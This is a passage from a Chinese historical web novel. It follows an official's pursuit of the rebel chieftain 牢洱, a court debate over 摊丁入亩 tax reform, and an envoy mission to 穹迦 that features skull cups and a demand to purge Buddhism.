他展开地图,用炭笔在上边划了一条线,“这是唯一的出路,不光要走林子,还要过许多土司的领地。咱们提前放出消息,只要叫牢洱过境,就是反叛朝廷,这些土司定然有顾虑,到时候争斗起来,我们就能渔翁得利,顺势改土归流。” 越往深里走,汉化的程度越低,虽不如水西、乌蒙和乌撒三部有实力,但和平的改土归流基本上不要想了。 但如果牢洱不走,那他就是准备好饿死或是投降了。 苏奋同意了他的计划,安排好士兵,特意留出薄弱之处供牢洱逃跑,又叮嘱将士糊弄着来,不求对方伤亡多少,只求己方没有伤亡。 后方捷报频传,终于在要入十二月的时候,牢洱从段之缙故意留出的漏洞中跑了出去,一路往穹迦高地进发,段之缙和军队紧随其后,“帮助”被侵占的土司讨回公道。 这一路上还不断地收到来信,先是外祖王家的,他们已经获得了商引,淮宁巡抚安排王家和几户大商人为西北战事捐款,王家足足捐了两百万两,换得了一个从二品的虚职,也算是改换了门庭。 之后是郑楒琅京中的来信,肃王拖来拖去,关关放放,终于死在了秋收之前,现在已经开始给誉王论罪,皇帝似乎是想把他的兄弟们赶尽杀绝。 他叮嘱段之缙不要随大流上表叫皇帝友爱手足。 第三封则是锁儿写的一首小诗,“王师赴边程,新犁破瘴旌……” 小儿稚嫩的字铺排在纸上,也不知是谁教他写的诗,倒是很有规矩,韵律什么的都好,最后还写了自己的大名“段诠”,配上一个猫爪印,只是字不太好,还得勤练。 段之缙把所有的信都收好,望着周遭来往不断的人,叹一口气。 但愿吧,但愿能够在明年八月之前摆平一切。 第112章 112或快或慢,苏奋带着军队一…… 或快或慢,苏奋带着军队一路追击,说是追击,也不过是一路去占便宜,段之缙等着牢洱走后,“劝”土司们改土归流。 当地的土司犹犹豫豫,大多数都认清了情况,少有的几个不认命的土司,在眼见身前身后全是雍朝军队后,也都哀叹一声,交出了世代管理的土地。 每成功一个,段之缙就进寨子驻军,再将土地分配下去争取当地的民心,同时不断往穹迦发函,与他们交涉,不要接收牢洱的残兵。 但一直没有收到穹迦的回函,穹迦的心思还是捉摸不透啊。 水西的余部越走地势越高,环境险恶,已经不再有人居住,段之缙处理完改土归流的事情,快马加鞭追赶军队,终于在临近南诏与穹迦交界的地方追上了苏奋。 周围的地势很高,段之缙喘气都有些难,裹着大棉衣看向前方崎岖的道路,搓搓手弄点儿热乎气,又转头看向苏奋,“还能不能再加快速度了?一定要追上牢洱他们。穹迦一直没有回函,还不知会不会放他们进那边儿的领地。如果放他们进去了,可就再难捉到牢洱。” 苏奋看着连绵不绝的山和泥泞多冰雪的道路,愁道:“快不了,咱们的士兵在林子里倒还好,这样的地势却走不惯。而且这么长时间的行军,士兵也都惫乏,现在士气都有些低落。牢洱他们是逃命,自然不觉得疲惫。” 想了想又问:“他们进了穹迦的地盘,咱们能不能以讨贼的名义跟着进去?” 苏奋说着还有些跃跃欲试,当即被段之缙打消了这个念头,“绝不行!没有对方的允许私自进入领地,无异于开战,而且我们跋山涉水,军队疲惫,穹迦却是以逸待劳,万一真的发生了冲突,对咱们大大的不利。” 真麻烦了,眼看着牢洱即将鱼入大海,得想办法激励将士们的士气加快行程才是。 当天晚上,段之缙站在士兵们中间,来回讲岳武穆抗金的故事,特意选了最狗血最催泪的岳飞之死来讲,最后正色道:“昔者,岳将军想抗金而不得,现在贼寇就在我们前边,只有不到百里,我们却追不上!这能行吗?!” 士兵们精神振奋了一些,窸窸窣窣说着“不行”。 可这样的士气不一定能撑到明天,段之缙又拿出了实实在在的好处,激励道:“把你们分成五个小队,哪一个小队能先追上水西的人,领队者官升两级,所有的人都赏五两银子!” 这次他们才真正地兴奋起来,只是因为周遭多雪山,不敢高呼以表明内心的振奋,怕引起雪崩。 当天晚上分好队伍,第二天日头还未升,大部队就争先恐后地出发了,赶路速度与以往不能同日而语。再泥泞的道路,磕得再惨,也没听见他们呼一声累,喊一句痛,大家只顾着往前奔。 就这样,不分昼夜地追赶,虽说朝廷的士兵比不上水西的土兵善奔袭,但连续多日下来,两者的距离拉得越来越近。 终于有一天,冲在最前面的小队远远地看见了牢洱的踪迹,急匆匆派人回去传信,队长继续带人追赶,而牢洱也发现了追兵的踪迹,往穹迦的领域奔命。 界碑就在前边不远了。 有了目标,段之缙和苏奋不敢拖延一丝一毫,往牢洱的方向赶,看见牢洱的时候,牢洱距离界碑不过几百米,段之缙骑在马上下令:“放箭!立刻放箭!” 火铳的准头不够,一定要把牢洱弄死在界碑这边! 可跟着牢洱走到这里的属下都是死忠,眼见头人身处险境,竟然以血肉之躯把头人护在身前,推着他继续往前冲。 因为要拉弓搭弦,士兵追赶的脚步停住,牢洱很快跑出了射程。 “上火铳!快快快!” 段之缙也从亲兵手中接过一把火铳,骑着马往前冲两步,尽力对准了牢洱扣动扳机,牢洱应声倒下,虽偏了点,但的确射中了腿部! 段之缙方松下一口气,接下来的场景叫他目眦欲裂。 穹迦那边竟然有人穿越了界限,将牢洱的余部接入自己的地盘。 他们厚重的袍服被风刮得猎猎作响,像一个个嘴巴子扇在段之缙脸上。 那一封又一封的函文,倒真成了笑话,段之缙脑子里就四个大字——穹迦疯了! “畜牲!”段之缙大骂一声,马儿焦躁地转着圈,火铳被他扔到亲兵手中,和苏奋对视一眼,双方眼中都是熊熊的怒火。 “叫我带人进去,一定把牢洱的头剁下来!” “不行!” 安抚好身下的马,段之缙的理智恢复,说道:“他们虽出了界,但没有皇上的命令还是不要妄动干戈得好,麻烦将军在此地安排好驻兵,我得回去上折子。” 苏奋气得把手中的火铳摔在地上,他的亲兵吓得一哆嗦,赶紧拾起来。 “事情已经这样了,再生气也无益,左右射中了牢洱的腿,他也不一定活的了。再者,正如我们当初分析的那样,进了穹迦也不会有什么严重后果。” 段之缙最气的不是牢洱跑了,而是穹迦人发癫,叫他们功亏一篑。 “走吧,回去上个折子,叫理藩院的人来和穹迦谈一谈,这个事儿我们做不了主。” 他拽过马缰,叫马儿转头回去,一路上又视察了一番各地改土归流的情况,慢悠 悠回了总督衙门。 回了总督衙门强打起一个笑模样,总不能叫段诠看着他爹死气沉沉的样子。 现在已经进了春天,大家换上稍薄一点儿的衣服,段之缙进门就看见一身浅绿色衣服的锁儿抱着蘋儿的腿,娇滴滴地喊娘。 然后被他娘一把拽开,连个好脸色都没有。 锁儿又扑上去,又被蘋儿一把扯开,还护着脊背推了两下。 最奇的是阿娘也在旁边,不管不顾,就任锁儿被来回地推开。 按理说这孩子该扯着嗓子哭了,谁知锁儿竟然站在原地,悄咪咪地看蘋儿,这么小的孩子脸上也能看出来尴尬。 不是进学堂之后便听话很多了吗?这又是哪里不对惹了他娘生气,连亲祖母也不管? 段之缙走进门咳嗽了两声,沈白蘋早就知道他今日回来,也没如何惊喜,到底亲娘更关心,上来嘘寒问暖,又指着锁儿咳嗽两声。 好啊,原来也不是不心疼,是指望着儿子给孙子求情。 段之缙把扑到脚边的发腻的儿子抱起来,看一眼蘋儿这才点点儿子的鼻头,问道:“又闯了什么祸?有没有跟阿娘道歉?” 锁儿不出声,瞟一眼娘亲,哼哼两声扎到爹爹肩窝上。 还在这儿心虚呢。 段之缙不以为意,一个小孩子能闯出什么祸?估计是雷声大雨点小,吓吓孩子,谁知沈白蘋急声厉色过来,厉声叫段之缙把孩子放下。 又拽着孩子的小手严肃道:“怎么?不敢跟你爹说?怎么干的时候没想着你的爹娘!” “这是怎么了?” 沈白蘋拽着锁儿在段之缙面前站好,“自己说!” 锁儿这才眼里泛着泪光,带着哭腔跟爹爹说自己犯了什么错。 “跟小柳哥哥回家去了,没跟娘亲说……” “还有呢!” 锁儿被他娘吓得攥住爹爹的衣角,“然后我怕娘亲生气就又偷偷溜回来了。” 当时衙门的人都跑出去找他,留了陈山守在家里,结果这个贼小子这么会躲人,竟没叫陈山看见! 沈白蘋找到柳家的时候,柳家人还以为锁儿早就回了总督衙门,结果她回去问陈山,陈山说没回来,差点给沈白蘋吓出来心疾,腿都吓软了! 街上那么乱,万一叫拍花子带走,可就再也见不到了。 沈白蘋吓得直淌眼泪,眼睛一眨,在墙角那里看见了一个鬼鬼祟祟的小孩儿头,和段一撮的猫头排在一起。 心一下子落了下去,火气直直冲上来,沈白蘋上去问,锁儿还撒谎,被当场戳穿,更叫人气得头昏脑胀。 这才叫他阿娘不理他了。 段之缙听了只觉后怕,“有没有跟你说过,去哪儿都要派人跟阿娘说!” 锁儿眨眨眼落眼泪,“说了……” 段之缙瞧他这个样儿,事情过去了三四天,再教训有些晚,便没再打骂,而是关了禁闭,禁足七日。 把锁儿弄到房间里反思后,天已经大晚了,但还不能睡觉,这么些时日的事情总要交代清楚,还得叫包诸上折子,夫妻二人就去了书房。 书房里攒了不少书信,沈白蘋拿出了岭南、岭西总督贺子成的书信给段之缙,说道:“贺大人暗示外祖王家与夷人买卖的商引有一份他的功劳……” 段之缙展开,细细读完这才明白贺子成的意思。上一次运过去的□□卖又不敢卖,保存还要占地方花时间,再加上花了那么多的银子,他觉得亏得慌,想叫段之缙再买回去。 “还有今年的养廉银,圣上说咱们这里贫寒,养廉有两万两之巨,这是火耗的账目。” 段之缙看着册子,推算一下今年的田赋,又想起丁家土地买卖的事情,问道:“丁家的地卖得如何了?” “不如何,散户只能吃下二十分之一,眼见着要春耕了,剩下的土地都按照你的吩咐卖给了大户。” 段之缙叹一口气,回程的一路也能看出来,刚分配下去的土地转身就开始兼并,拦都拦不住。 当初在兆仁想方设法不叫百姓们卖地,结果回来的路上去看,大部分土地已经回到了贵族头人们的手中,燧明吴家也早就是全县最大的地主。 “育婴堂如何了?” 这回儿轮到沈白蘋叹气,“现在倒是没再出什么问题,只是无产无业,叫这些孩子长大了做什么去?” “算了,上折子说这次的情况,叫理藩院的人和穹迦交涉,先把牢洱的事情解决清楚了再说别的吧。” 但他叫包诸写折子的时候,还是没忍住把摊丁入亩的奏请放了上去,估计又要议好一阵。 第113章 113今年的天气甚怪,四月…… 今年的天气甚怪,四月里京城竟来了寒风,刺穿人骨,各家各户又烧起了火穿上棉衣。 可朝廷对穿衣有规制,入了春便不能穿棉衣,因而大冷天大家还是一身春衣,官员们冻成了鹌鹑苗子。 千步廊内,理藩院尚书陶士倧推开房屋的大门,先在火盆前烤一烤手,抱怨道:“真是怪了,在外边站一会,骨头都冻硬了。” 理藩院的人来来往往,官员任职和几年前大相径庭。罗大人升走,陶士倧成了新的尚书。 旁边的侍郎跟着抱怨一句,“这才哪到哪儿,明儿还要去乾清宫御门听政,大家一块儿站在下边吹冷风才叫爽快。” 正话反说,他对这怨气大得很。 其实御门听政也是朝廷里常有的事情,只不过当今有了军机处,更喜欢在小屋子里解决一切军国大事,明天是景淳元年之后,头一回儿听政。 这大冷天的,非把人冻死。 另一个侍郎嘴一撇,“还不是南岺总督弄出的事情?他怎么能叫水西头人跑了呢?也真怪了,发了那么多的函文,穹迦人竟理也不理。可见他在那里也没有什么威望。” “若不是他放跑了牢洱,又何至于弄出这些麻烦?” 在座的三个人心里都清楚,朝廷对和穹迦人打仗的事情没有什么兴趣,也不屑去和他们动兵,那势必要派人出使穹迦。 可那地方谁愿意去啊?愿意去的才是傻子。 每回上供弄些什么托巴碗,陶士倧头一回见的时候,还以为是什么好东西呢,到手里才觉得不对劲。摸起来像是什么东西的骨头,问了才知道,竟然是人的头盖骨,用金银水晶装饰了供奉他们的神明。 好家伙,什么样的神明得用人的头盖骨做器具来供奉? 现在要从理藩院里出人去出使穹迦那该死的地方,弄不好就得他这个尚书亲自带人去,他心里埋怨得紧,嘴上却嗔怪起了两个侍郎。 “行了行了,以前哪个冬天没有御门听政?就是这两年把你们娇惯坏了,现在入了春出个门都不愿意。这话叫皇上听见了,你们这官服还要不要穿了?” 两个侍郎缩缩脖子相视一笑,而后跟陶士倧打趣道:“大人心系家国,想必这次出使也一定会毛遂自荐。” 陶士倧眼一瞪,骂了一句滚,又假嗔道:“真要派人去,我就把你举荐上去。” 打趣的侍郎连连求饶。 第二天冷得出奇,幸好皇帝体恤他们,推迟了两三个时辰才进行御门听政,正好叫太阳照得高高的,打在官服上,严寒便也没那么刺骨。 六部尚书和理藩院的尚书都在皇帝身边跪着,内阁大学士就剩下了刘玳廷一人,剩下的三位大学士皇帝迟迟不愿意补齐。 刘玳廷一个人干着四个人的活。眼皮都要耷拉到地上。 陶士倧偷偷叹一口气,觉得自己在理藩院这个没多少事儿的衙门做无用的尚书也挺好。 剩下围在皇帝身边的多是些年轻人。叫什么宋征舆、郑楒琅,一个还在翰林院就入了军机处行走,另一个做长史竟也能跟着长乐王参政。还有长乐王,二十七八岁的年纪,倒是什么都管。 剩下的人就是他的亲信,刑部尚书秦行和礼部侍郎邹文。 因为他这个理藩院尚书总是排到最后被问,陶士倧便有些走神,默默想着不怪皇帝喜欢年轻人。 陛下正值壮年,这些青年少不经事,只能什么都听皇帝的,自然讨皇帝喜欢。 谁知这次问完了兵部的尚书。第二个被问的就是理藩院陶士倧,皇帝让他说话,他竟没听见,还在那走神。 这大冷的天儿,竟然让皇帝等着,长乐王咳嗽一声,讥诮起来,“陶士倧,这里边太暖和叫你想睡觉了?要不然你出去吹吹风?陛下问你对于出使的人选有什么意见,你为什么不答话!” 他疾声厉色的,皇帝倒没怎么生气,陶士倧还未跪下请罪就张口打起了哈哈。 “行了行了,天儿冷,刚才冒着寒风过来,现在又到了这暖和屋里,自然是会犯困。赶紧说 完今天的事情,你们就回自己的衙门办差,也不用在朕跟前守着。” 陶士倧冒了一身冷汗,又想着皇帝惯常的作风,从来是只许别人照做,不许别人提意见的,只张口说道:“臣全凭陛下做主。” 他真是被热气蒸的脑子糊涂了,如果皇帝想要凭自己做主,又何必大冷天的御门听政,闲得没事折腾大臣玩吗?自然是自己拿不定主意才想着叫大家一起商量。 长乐王上回是在提醒他,这次却是真生气了,指着他张口就骂。皇帝无奈一笑,叫常乐王歇歇气,又朝陶士倧自嘲道:“朕自诩生平从未凌虐过大臣,怎么叫你连话都不敢说?” 陶士倧这才反应过来又是说错话了,赶紧弥补道:“皇上仁德,只是臣为人愚钝。如果说出使穹迦,臣以为刘中堂就是不错的人选。他曾经替国家出使过赤砂,想来穹迦也不在话下。” 刘玳廷自然是不想去,但已经被人举荐了,自然要表表忠心。 幸好皇帝一口回绝,“不行,刘玳廷年纪大了,上不了高地,你再找个年轻的去。” 陶士倧看着紧盯着他的长乐王,狠下心说道:“那臣才五十余岁,尚且年轻,不如派臣去出使,也算为朝廷尽一份力。” 皇帝笑一声,“不行,你是理藩院的尚书,这次又不是什么大事,哪能让你去?选一个年轻的来。” 皇帝不太把这次的事情放在心上,穹迦弹丸之地,且贫寒异常,也就是之前南诏在土司治下才忌惮着他们,现在土司已经成了虚职,穹迦人不足为虑。 在皇帝心里,最要紧的是去看看段之缙差事办得怎么样。 陶士倧又从理藩院里选了几个,但皇帝不是嫌人家木讷,就是说人家惯会自作聪明,总之怎么选怎么不满意。 郑楒琅提议道:“臣以为可叫礼部侍郎邹文去,邹大人在礼部任职,对于礼仪仪式十分精通。再者,邹大人在礼部任职已久……” 他言外之意皇帝已然清楚。 邹文在礼部已经做了三年官,三年说长不长,说短也不短,如果想往上升也好升了,他又是铁打的亲信,还能看看段之缙在南诏干得怎么样,于是拍板下来,叫邹文去穹迦干这苦差事。 邹文当即下跪谢恩,诸臣开始议摊丁入亩的事情。 摊丁入亩,绝不如刚才出使穹迦的事情好议。 在座的诸位,谁没有个几千亩上万亩土地?就连家底儿最薄的几个穷苦书生出身的官员,靠着皇帝丰厚的赏赐也置办下了不菲的资产。 前不久实行官绅一体纳粮,已经打了个热火朝天,最后也不要名声了,皇帝硬压着推行下去。现在摊丁入亩,有地的官僚不仅要承担一份田赋,还要再承担一份人头税,只觉得口袋里的银子哗啦啦地往外流。 自然有不计较个人得失的,但反对的人太多,大家全是混蛋,偏偏你忠君爱国,愿意在陛下跟前儿表现。 因而支持的人也都闭着嘴不说话。 “怎么都不说话?叫大家都凑前来,说说自己的看法。” 见人多了,大家才依次说起了话。 “臣以为按人头缴人丁钱,本就是祖宗的成法,祖宗之法不可违,祖宗之法不能变。” 皇帝一挑眉,“祖宗的成法?祖宗的成法一代又一代,不知道变了多少,封邦建国都成了设立郡县,你跟朕说祖宗的成法不能变?” 现任户部尚书俞石明道:“臣倒是以为该变就要变,因而臣一直都支持官绅一体纳粮。但陛下是否深思过,摊丁入亩的确叫无地小民受惠了,只是大户呢?他们凭什么承担旁人的赋税?” 摊丁入亩说到底是让有地的人替无地的人交人头税,可人家有地就活该多缴税吗? “再者,天下不止有占地万亩的乡绅大户,还有小民百姓,家里就两亩薄田,摊丁入亩不好说是增加了他们的赋税还是减轻了他们的赋税。” 这倒是实实在在的问题,比什么祖宗成法更能说服人。 俞石明又道:“不仅如此,如果要摊丁入亩,天下土地都应该重新丈量,那么又应当派哪些人去办成这件事?这又是另一个问题了。” 剩余人仿佛找到了主心骨,不断附和。 皇帝陷入沉思,沉吟道:“那就先这样吧,你们户部想想有什么解决的办法,拟个章程上来。若没有……那就之后再议,先散去吧,长乐王留下。” 吕太清叫退,王公大臣离开禁宫,长乐王看着俞石明的背影与郑楒琅耳语几句:“你叫他在长安门等着本王。” 郑楒琅照办,长乐王才跟着皇帝回乾清宫。 皇帝往贵妃榻上一躺,拿着桌边的小刀削苹果,叫长乐王往身边坐下,问道:“摊丁入亩,你的看法是什么?” “臣弟自然是和皇兄一个想法。” 皇帝一乐,“那你先说。” “臣弟以为俞石明说得第一个问题倒是不妨事,主要是后者,那些有两分薄田的农户怎么办才麻烦,不过总体上,臣弟还是觉得摊丁入亩要比现在好得多。” “这话怎么说?” “人是活的,人丁钱征起来就麻烦。但地是死的,只要地是有主的,他就跑不了就得给朝廷交钱。至于让谁去清丈土地……臣想国子监的学生也该锻炼一下。” 皇帝笑着将手里的苹果分给长乐王,说道:“那你还真和朕想的一样。” 长乐王又道:“臣还有个不情之请。” “你说。” “臣觉得叫邹文去穹迦是浪费了,直接叫他去户部做侍郎,表面上平调,实际上是升了一点儿。至于穹迦的差事,不如叫方叙墨去,驸马紧需这个功劳步入朝堂,总不能一直担着虚职,公主面上也无光啊。” 皇帝思考一顿,这差事也不难,无论成不成,总归没有功劳有苦劳,再派一个御前侍卫去查查段之缙的差事,和邹文去的效果是一样的,便直接答应下来,觉得这个弟弟真是处处为自己着想,比之其他的蠢货强上百倍。 只有一点不好,他那个世子不合自己的意,若不是弟弟自己爱得紧,定然要给他换了。 长乐王说完了自己的事情又陪着陛下用午膳,还把门口等着的郑楒琅叫起来用饭,这才慢条斯理出了宫,去长安门见等了许久的俞石明。 王爷受宠,被特许在紫禁城内行轿,此时帘子掀开了一点儿,阴阳怪气道:“俞大人真是做了户部的好管事,本王这个管部王爷还没说一句话,您倒是急匆匆地张了口。也是,小王年轻嘛,还得老大人多指点。” 话音刚落,也不管俞石明什么反应,带着属官、侍卫和大批地随从离开。 就在俞石明一个人生闷气,憋得脸通红的时候,誉王正巧从身边经过,实际上是看了全程。 誉王轻笑一声,拍拍俞石明的肩膀宽慰道:“他年纪小,突然执掌大权就喜欢抓着不放,陛下又格外爱重,还得你们多忍让了。像本王,不受待见的,在 陛下的授意下叫人翻来覆去地参劾,这日子才叫苦呢。” 俞石明拉着誉王的手落泪,颇有惺惺相惜之感。 …… 方叙墨被催着启程,六月份带着圣旨到南诏,和段之缙相见,彼此眼里都是震惊,而后才激动地抱在一处。 第114章 114方叙墨来的时候排场很大,城门…… 方叙墨来的时候排场很大,城门口迎风吹起龙旗几面,乐声不断。 对方是钦差大臣,段之缙自然要下拜行礼,可起了身,两人相视一望,都憋不住嘴里的话。 方叙墨嘴快,吓道:“你真是壮实了不少,哪还有半点儿从前细弱文气的样子?” 段之缙拽着他的袖子问:“士别三年,当刮目相看,你这变化也是天翻地覆啊!” 之前的方叙墨,细声细气,说话轻飘飘的。 一个人的气象往往对应了他的性格,因而过去他的脾气也是软绵绵、慢吞吞的,又好堕泪,并不是这里审美中喜欢的男子。 可现在方叙墨说话,嗓门同他岳丈一般洪亮,如他妻子一般掷地有声,两眼中的懵懂全被精明所替代,眼彩射人,一脸的能干相。 段之缙本以为陛下是叫这个亲亲的女婿来捡一份功劳,一切都得由陛下派来的一等侍卫苏橙来做主,没想到啊没想到,原来方叙墨真是名副其实的钦差大臣。 方叙墨看他惊掉下巴的样子,与他联袂进城,解释道:“我跟在陛下身边锻炼,又和王爷一起去六部学习,什么样的事情我都听过了,什么样的事情也都见过了,如何能不有一番变化?” 六部学习最是辛苦,人家在某部行走几个月便能授官,而后正常当差升迁,但方叙墨走完了一部又去另一部,所有的差事都得看,所有的杂活都得他干,并不因驸马的身份而有所优待。 陛下又盼望他成才,特意吩咐他把各部的文书都拿出来看一看。圣上下令如何不从?白天干完了差事,晚上一盏孤灯在衙门熬着。 方家现在败了,方叙墨才体会到先辈的不易,虽说祖父他们是咎由自取,但无论无何,方叙墨作为既受恩者,也决不能眼看着方家山河日下,东宫太后娘娘也不想看着方家落败。 还有公主殿下,古往今来这样受宠的公主史册少见,嫁给罪臣之后说出去并不好听,陛下便许她与自己和离另嫁他人,可公主殿下不离不弃,自己也决不能永远靠着公主吃饭,堕了她的脸面。 往事不堪回首,自己也有了家世不好的一天,现在得到这西南来立功,才好叫陛下再做安排,重新进入朝堂。 他长话短说,又问段之缙:“你是怎么回事儿?天高地远,背着我们习武去了?” 段之缙哂笑:“等着我和你从穹迦回来,你便知道我为何这般壮实了。” 又解释起来自己年前吃的苦。 南诏、岺州两省都是路无三里平的地方,年前追击水西余孽全靠着骑马、步行前进,穿越了大半个南诏。 这一路上缺少蔬果,只有硬邦邦的饼子熬成糊糊,再添上点邦邦硬的碎肉干,这就是了不得的好饭了。 段之缙倒是没饿着,可就这么个弄法,能不壮实吗? 方叙墨听完哈哈大笑,一路上没有安分时候,一块儿进了总督衙门,两个人开始谈出使的事情。 出使的事情不仅京中的官员在安排,南诏这边儿也在和穹迦人协商,段之缙理了理来往的文书,说道:“最后和穹迦人定下和谈的地点是在溯漠城,这块儿地方离着南诏有些远,但地势好,近点儿的地方太高,咱们应该受不了。” 方叙墨看了会儿地图,沉吟道:“溯漠城离着西北更近……”忽而一笑,“说不定你能见着奇景。” “什么意思?” “陛下潜邸里出来的小将军,名字叫唐馥,现在去做了西北二省的总督,其威风比起你来也是不差的。他对着穹迦做了些小把戏,倒是相当有用。” 原来是唐馥啊,段之缙提起了好奇心。 方叙墨又道:“我来,和牢洱的事情关系不大,牢洱爱在哪里在哪里,皇上不在乎这个。但皇上要知道穹迦为什么敢将你的函文视若无物,要说他们没旁的打算,谁也不信。第二,就是你在南诏做的事情。” “陛下未及冠就在六部行走,当差当了多少年?见惯了天高皇帝远,地方官员做土皇帝的事情,谁还能不出个错?但你所出的错误在陛下看来都不是错误,反而叫陛下不放心了,特意派人来查查你。” 段之缙问心无愧,此时调笑道:“我们亲如兄弟,如何叫你来查?看来百虑必有一失啊!” 方叙墨摇摇头,“可不是我,跟着我的一等侍卫苏橙才是来查你的。他的身份可不简单,苏奋将军的小儿子,他爹说他是不中用的东西,可陛下却觉得他为人不拘小节,虽于正途上不通,但为君者要不拘一格降人才,因而大大地提拔了。” 段之缙称奇:“竟这样喜欢?” “你仔细瞧过他没有?” 段之缙摇头,光顾着看方叙墨了,哪有功夫去看身后的侍卫? 方叙墨一笑:“明儿带着他去见见苏奋,正好叫你瞧瞧。他要做皇上的乘龙快婿了。” “是灵慧公主?” “要不还有谁?”方叙墨又叮嘱道:“你要和我一块儿去溯漠城,但是苏橙要留下来查你的文书,嘱咐好你的师爷,他要什么立刻呈上,只要他问,就说实话,千万不要推诿找借口,但凡你问心无愧,他绝不会故意为难。” 段之缙郑重道谢,问心无愧不难,就怕你问心无愧了,对方却别有所图,方叙墨透露出来的消息叫他放下了心。 翌日,段之缙带着人去了南诏军中,苏橙和苏奋两父子相见,做父亲的把儿子当钦差伺候,做儿子的还要跟父亲打官腔,叫这两人看了一场滑稽剧,至于人家晚上在一个帐子里说了些什么,这却不知了,只知道第二天苏将军神清气爽,之前被穹迦气黑了的脸也恢复正常。 段之缙好好看了人家的模样,很明白皇上为何喜欢。 漂亮、雄壮,这两个词很难同时出现在一个人身上,可偏偏苏橙就是这样的人,既漂亮又雄壮。 作为钦差,苏橙查完南诏军便回了总督衙门,先问段之缙的话,说起岭南□□的事情。 “贺大人曾给陛下上过奏折,说岭南□□都被销毁了,大人对此事知悉多少?” 段之缙回道:“的确都销毁了,□□和白灰掺在一起,被海水淹过即可。南诏出去多少□□衙门都有记录,销毁当日我也派人去看过,丝毫不差。” 苏橙记录下来,又指挥人给他上文书,许是在皇帝身边耳濡目染,苏橙每每能问到要紧处,有些时候师爷答不上来,只能沈白蘋回答,因为段之缙在被问完话后,已经和方叙墨启程,往溯漠城走。 这条线路比追击牢洱容易得多,段之缙颇有几分游刃有余,方叙墨到底是在京城养尊处优的近臣,走几步就喘两喘,中途还病了一场。 只是有皇命在身,就这么磋磨着病也能好,一路走到溯漠城,方叙墨的身子骨强健不少。 段之缙终于明白了方叙墨说的奇景是何。 佛寺。 从和西北交界的边界线上,简陋的佛寺如星子一般洒落,虽只有贫苦的民众在礼佛,但个个香火鼎盛。 直到进入溯漠城,佛寺才绝迹,取而代之的是穹迦自己供奉的神明,巨大的塑像耸然入云,衣冠华丽者围绕着参拜。 穹迦人和朝廷的大臣相互见礼,他们捧着的鎏金托盘内放着两只精致小碗。 小碗表面覆着一层暗金鎏彩,碗口微敛,弧度圆融如满月,外壁錾刻着细密的文字,不知是什么咒语。 字只有米粒大小,却串联成蜿蜒的经幡纹,碗腹凸起处镶有一圈红珊瑚,恰恰是莲座的形状。 碗里是澄清的水,映着头顶无云的湛蓝天空,不知是天在水中,还是碗中本就装着一方天地。 穹迦首领粟巴将托盘里的两碗水呈给出使的二人,热情道:“尊贵的大国使者,这是在神明前供奉过的圣水,请满饮此杯。” 方叙墨合手行礼,按照穹迦人的仪式接过小碗,被段之缙一把拽住手腕。 段之缙将他手里的碗放了回去,“不是此教人,不敢饮此教中水,多谢大首领的盛情。” 别人没瞧过不知道,段之缙却一眼看出了这是嘎巴拉碗,又名托巴碗,且这碗如此小,应该是用小孩儿的头骨所做。 倘若天地之间真有神明,用这种碗喝水的人定然会下到十八层地府受苦受难。 方叙墨一听便知是有问题,默默地不再说话。 粟巴了然一笑,将他们领入宫殿中,设宴款待。 穹迦是政教 一体的地方,殿内随处可见供奉神祇的塑像和贡品,方叙墨作为使臣之首和粟巴寒暄两句,这才问起来牢洱的事情。 “可是我们雍朝的大臣得罪了大首领?段之缙屡发函文,大首领为何要救走牢洱?或者说穹迦人瞧不起我们小国,是存心为难。” 粟巴道:“不敢不敢,只是我们大神的教义,绝不能见死不救,笃信大神者不能违背教义,这才出手相救,绝不是对贵国的总督有意见,更不是对贵国有意见。” “但是贵国除乱之心,我作为穹迦的首领也能理解,因而也是十分支持的。我们教义中说,清杀异端为无上真理,其他的教义皆可为之让步,如果贵朝能帮着我们清杀异端,水西余孽自然交给贵国。” 段之缙恍然大悟,兜了这么一圈,原来是为了叫雍朝替他扫灭佛教。 方叙墨也明白了穹迦人的意图。 佛教是唐馥看过段之缙当年的策论后,差人从西北传过来的,一开始没人当回事情,但没过多长时间,佛寺遍地都是,原本任劳任怨,任杀任剐的奴隶竟然和贵族老爷们说大家都是一样的人,这才叫穹迦人绷紧了弦,开始清剿佛寺。 但你能杀灭人的身体,怎么能消灭人的思想?外边没有佛寺,奴隶们做苦工的时候也要偷偷念佛经,更何况地广人稀之处大首领力所不及,佛教更为昌盛。 谁带来的麻烦就让谁来解决,粟巴想用牢洱作威胁,那他可真是想错了。 孰轻孰重,方叙墨分得清,既然他们想要牢洱,牢洱就送给他们。 第115章 115牢洱不是什么香饽饽,弄清了穹…… 牢洱不是什么香饽饽,弄清了穹迦的意图再呆无益,方叙墨和大首领说清事情后,就准备启程离开,可穹迦人癞蛤蟆趴脚面,不咬人他恶心人,临行前一天粟巴设宴,竟然又呈上了一个托巴碗,盛了一大碗酒,比首日来的那盏更大。 粟巴笑眯眯道:“上次使者说不是我教中人,不敢饮我教中水,那这碗酒可一定要饮下。” 方叙墨疑道:“这是为何?” “我们穹迦素来是与雍朝亲善的,虽然雍朝不愿意替友邦剿灭异端,但穹迦却心系邻国安危,愿意替邻国杀灭反叛者。” 方叙墨看着那个头骨,心下了然,“这么说这是用牢洱的头骨做成的托巴碗了?” “自然,用敌人的头盖骨做成的托巴碗饮酒,能叫他永世不得超生。” 方叙墨呵呵一笑,“大首领还真是想错了我们这些人。我家中笃信佛法,大皇帝陛下也性喜禅音,我佛陀世尊修得五百世忍辱仙人,被哥利王割截身体,亦不惊不怖,无嗔无恨,发下宏愿在成佛后先度化哥利王,这才是真正的大慈悲境界。” 方叙墨侃侃而谈,两句不离佛法,戳在了粟巴的肺管子上,眼见着他的脸色就不好了,结果雍朝的使臣还说上了劲,双手合十口念“阿弥陀佛”,又道:“我之境界,虽不能与我大皇帝陛下相提并论,更不敢妄谈佛祖,但放下嗔怒之心的道理我还懂些许。牢洱虽死,我却盼望他能够转世超生,下辈子做善事赎今生之罪。” 方叙墨将酒推回去,浅笑着看粟巴,心里默默辱骂。 这都成了骷髅头,他又不是火眼金睛如何能看出这是谁的头颅?再者粟巴应该知道两国风俗不同,雍朝的臣子不会用这等器具饮酒,想为雍朝惩贼便该交出牢洱,为何要自作聪明主张制成托巴碗劝人饮酒。 他纯粹是来恶心人的! 既然粟巴恶心人,方叙墨也不会叫他好过,我偏偏要给你讲佛。 这一日方叙墨讲得痛快,临走之时粟巴都未来相送,恐怕是不想再见这两人。 解决了朝廷的差事,方叙墨身体又大好,回程时便不太紧急,一路借宿佛寺,段之缙看着悠哉悠哉的方叙墨问道:“唐馥弄了这么些佛寺,所图为何?” 